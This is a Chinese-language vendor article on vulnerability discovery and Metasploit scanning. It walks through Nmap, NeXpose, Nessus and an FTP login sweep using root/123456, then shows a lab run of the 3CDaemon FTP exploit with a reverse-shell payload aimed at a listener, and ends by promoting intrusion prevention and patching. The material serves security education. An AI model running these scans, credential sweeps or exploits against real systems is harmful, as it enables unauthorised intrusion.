Metasploit與漏洞掃描
http://www.h3c.com.cn/About_H3C/Company_Publication/IP_Lh/2013/03/Home/Catalog/201307/790128_30008_0.htm
漏洞,是指在硬體、軟體、協議實現或系統安全策略上存在缺陷,攻擊者能夠在未授權的情況下對系統進行訪問或破壞。它會成為入侵者侵入系統和植入惡意軟體的入口,影響系統使用者的切身利益。漏洞與目標系統的作業系統版本、軟體版本以及服務設定密切相關。研究漏洞必須要了解當前計算機系統及其安全問題的最新發展動態。常見的漏洞包括緩衝區溢位漏洞、跨站指令碼漏洞(XSS)、SQL注入漏洞、資料庫漏洞以及WEB應用漏洞等。
常見的漏洞發掘方法分為以下幾種。
m 黑盒攻擊(Fuzzing):即通過注入資料進行自動化測試。
m 獲取攻擊物件的原始碼進行審計:網路上有很多原始碼審計工具可供使用,如Fortify。
m 反彙編審計:如果無法獲取到原始碼,可以基於彙編碼進行反彙編審計。IDA是一款常用的反彙編軟體。
m 動態跟蹤分析:通過記錄程式在不同條件下執行操作(如檔案操作),分析這些操作序列是否存在問題。
m 補丁比較:廠商軟體的問題通常都會在補丁中解決,如微軟的Windows作業系統會不定期釋出補丁程式,通過對比補丁前後文件的原始碼(或反彙編碼)就能瞭解漏洞的具體細節。
目前,針對常用的漏洞發掘方法已經開發出了很多漏洞掃描工具。漏洞掃描工具是一種能在計算機、資訊系統、網路及應用軟體中查詢安全弱點的程式。通過對目標系統進行探測,向目標系統傳送資料,並將反饋結果與漏洞特徵庫進行匹配,分析出目標系統上存在的安全漏洞。比較常用的漏洞掃描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。
二 Metasploit Framework工具簡介
Metasploit Framework是一個強大的開源平臺,為滲透測試、shellcode 編寫和漏洞研究提供了一個可靠環境。它集成了各種常見的溢位漏洞和shellcode ,並且不斷更新。當前版本收集了上千個實用的溢位攻擊程式及一些輔助工具,操作簡單,易用性好。當然,它不只是一個簡單的收集工具,還提供了所有的類和方法,以便開發人員使用這些程式碼方便快速的進行二次開發。漏洞掃描只是Metasploit Framewotk眾多功能中的一種,本文只介紹它的漏洞掃描功能。
Metasploit Framework的總體架構如圖1所示,它包含Exploit、Auxiliary、Payload等多個模組:
m Exploit是攻擊模組,基本上目前所有的作業系統在Metasploit Framework上均有對應的攻擊模組;
m Auxiliary是輔助模組,用途非常廣泛,它可以作為掃描器、拒絕服務攻擊工具、Fuzz測試器,以及其他型別的工具;
m Payload是在目標系統被攻陷之後執行的程式碼,如新增使用者賬號,獲取shell互動許可權等;
圖1 Metasploit Framework整體架構
三 Metasploit的幾種漏洞掃描元件
1 Nmap
Nmap適用於Winodws、Linux、Mac等作業系統。它用於主機發現、埠發現或列舉、服務發現,檢測作業系統、硬體地址、軟體版本以及脆弱性的漏洞。Metasploit Framework平臺集成了Nmap元件。通常在對目標系統發起攻擊之前需要進行一些必要的資訊收集,如獲取網路中的活動主機、主機開放的埠等。
Nmap掃描存活主機及主機執行的服務:
nmap -P0 192.168.20.1-10,掃描結果顯示網路中活動的主機有7臺,且列舉出了每臺主機執行的服務及主機MAC地址。
msf > nmap -P0 192.168.20.1-10
[*] exec: nmap -P0 192.168.20.1-10
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????
Nmap scan report for 192.168.20.1
Host is up (0.00014s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)
……
Nmap scan report for 192.168.20.4
Host is up (0.0098s latency).
Not shown: 986 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
3389/tcp open ms-wbt-server
MAC Address: 68:05:CA:0E:BF:59 (Intel)
……
Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds
msf >
Nmap掃描作業系統和服務軟體版本資訊:
msf > nmap -A -T4 192.168.20.4,Nmap顯示的掃描結果相當詳細,列出了目標伺服器192.168.20.4上執行的作業系統是微軟的Windows 7或者Windows 2008,提供FTP服務的軟體是3Com 3CDaemon FTP Server,版本號為2.0,並且使用匿名賬號anonymous可以登陸成功。
msf > nmap -A -T4 192.168.20.4
[*] exec: nmap -A -T4 192.168.20.4
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????
Nmap scan report for 192.168.20.4
Host is up (0.0074s latency).
Not shown: 986 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp 3Com 3CDaemon ftpd 2.0
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-bounce: bounce working!
80/tcp open http HttpFileServer httpd 1.5g
|_http-title: JAX SERVER- /
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http VMware VirtualCenter Web service
445/tcp open netbios-ssn
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
3389/tcp open ms-wbt-server Microsoft Terminal Service
MAC Address: 68:05:CA:0E:BF:59 (Intel)
Device type: general purpose
Running: Microsoft Windows 7|2008
TRACEROUTE
HOP RTT ADDRESS
1 7.38 ms 192.168.20.4
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds
msf >
2 NeXpose
NeXpose通過掃描網路,可以查找出網路上正在執行的裝置,並識別出裝置的作業系統和應用程式的漏洞,並對掃描出的資料進行分析和處理,生成漏洞掃描報告。
首先,如圖2所示,在Metasploit Framework中載入NeXpose外掛:
圖2 載入NeXpose外掛
使用nexpose_scan命令對目標主機進行漏洞掃描:
msf > nexpose_scan 192.168.20.4
[*]Scanning 1 address with template pentest-audit in sets of 32
[*]Completed the scan of 1 address
msf >
檢視漏洞掃描結果,掃描程式發現了7個漏洞:
msf > db_hosts –c address
Hosts
=====
address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.20.4 8 7 default
msf>
輸入db_vulns可以顯示已發現漏洞的詳細情況:
msf > db_vulns
[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299
……
For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating
msf >
3 Nessus
Nessus是當前使用最廣泛的漏洞掃描工具之一。Nessus採用client/sever模式,伺服器端負責進行安全檢查,客戶端用來配置管理伺服器端。在服務端還採用了plug-in的體系,允許使用者加入執行特定功能的外掛,這外掛可以進行更快速和更復雜的安全檢查。
如圖3所示,在Metasploit Framework中載入Nessus外掛:
圖3 載入Nessus外掛
建立掃描任務:
msf > nessus_scan_new 2 test_scan 192.168.20.4
[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4
[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb
msf>
檢視掃描執行狀態,“No Scans Running”表示掃描已完成:
msf > db_hosts –c address
[*] No Scans Running
msf>
檢視掃描結果,掃描程式發現345個漏洞:
msf > db_hosts –c address,svcs,vulns
Hosts
=====
address Svcs Vulns
------- ---- -----
192.168.20.4 18 345
msf>
從掃描結果可以看出,對同一個目標主機進行掃描,Nessus掃描出的漏洞數量與NeXpose掃描出的數量有明顯的差異。通過對不同工具的掃描結果進行對比分析,對了解掃描工具本身,和更精確地確定目標系統存在的漏洞都是非常有幫助的。
4 Metasploit的專用FTP掃描器
除了整合的掃描工具,Metasploit自帶的輔助模組,可以針對網路中特定的漏洞進行掃描。下面以FTP掃描為例,介紹Metasploit自帶掃描器的使用方法。
選擇ftp_login模組,掃描網段192.168.20.1-10中能使用固定使用者名稱和密碼root/123456登陸主機:
msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set USERNAME root
USERNAME => root
msf auxiliary(ftp_login) > set PASSWORD 123456
PASSWORD => 123456
msf auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10
RHOSTS => 192.168.20.1-10
msf auxiliary(ftp_login) > run
[*] 192.168.20.1:21 - Starting FTP login sweep
[*] Connecting to FTP server 192.168.20.1:21...
……
[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'
[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.1:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.4:21...
[*] Connected to target FTP server.
[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.4:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.6:21...
[*] Connected to target FTP server.
[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.6:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.9:21...
[*] Connected to target FTP server.
[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.9:21 - User 'root' has READ/WRITE access
[*] Scanned 10 of 10 hosts (100% complete)
[*] Auxiliary module execution completed
檢視輸出結果,10個IP中有4臺FTP Server均能使用root/123456賬號登陸,並且含有讀寫許可權。通常在公司內網裡,很多人習慣使用簡單的賬號,沒有足夠的安全意識,當攻擊者成功入侵內網後,這些工作站將非常危險。
四Metasploit的一個攻擊例項
漏洞掃描僅僅是Metasploit Framework強大功能的冰山一角,下面簡單說明一下Metasploit執行一次攻擊測試的方法。利用上面Nmap的掃描結果,選取192.168.20.4上所執行的3Com 3CDaemon FTP Server為攻擊目標。通過前面的掃描可以得到目標主機執行的作業系統及應用程式版本的詳細資訊,如圖4所示,在Metasploit Framework裡搜尋針對3CDaemon的攻擊指令碼:
圖4 搜尋針對3CDaemon的攻擊指令碼
use命令進入搜尋到的exploit:
msf > use exploit/windows/ftp/3cdaemon_ftp_user
msf exploit(3cdaemon_ftp_user) >
Set RHOST命令設定攻擊目標機的IP地址:
msf exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4
RHOST => 192.168.20.4
Set target命令設定目標機的作業系統型別:
msf exploit(3cdaemon_ftp_user) > set target 4
target => 4
設定完成之後, show options顯示設定好的引數資訊:
msf exploit(3cdaemon_ftp_user) > show options
Module options (exploit/windows/ftp/3cdaemon_ftp_user):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST 192.168.20.4 yes The target address
RPORT 21 yes The target port
Payload options (windows/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process, none
LHOST 192.168.20.67 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
4 Windows XP English SP3
輸入exploit命令,開始攻擊:
msf exploit(3cdaemon_ftp_user) > exploit
[*] Started reverse handler on 192.168.20.67:4444
[*] Trying target Windows XP English SP3...
msf exploit(3cdaemon_ftp_user) >
如圖5所示檢視目標機3CDaemon FTP軟體顯示崩潰,攻擊成功!
圖5 3CDaemon FTP崩潰
分析抓包結果,可以看出該FTP攻擊指令碼是利用超長使用者名稱(如圖6所示)導致FTP Server崩潰的。
圖6 抓包結果
五 結束語
避免黑客攻擊,部署專門的漏洞檢測防禦系統是非常必要的。Metasploit提供了豐富的掃描功能、攻擊指令碼及二次開發的平臺,使網路安全漏洞檢測變得相對容易。H3C的IPS(Intrusion Prevention System)採用系統的防禦方法,結合智慧的規則識別技術可以對各種漏洞攻擊進行有效的防禦。為應對技術的更新,H3C攻防團隊會主動關注網路上新的攻擊方式,並將分析結果及時新增到IPS特徵庫中供客戶升級使用。對於系統維護者來說,積極主動的查詢漏洞並打上相應補丁,同時結合專業的防禦裝置進行入侵防禦,毫無疑問是維護系統安全的最佳方法。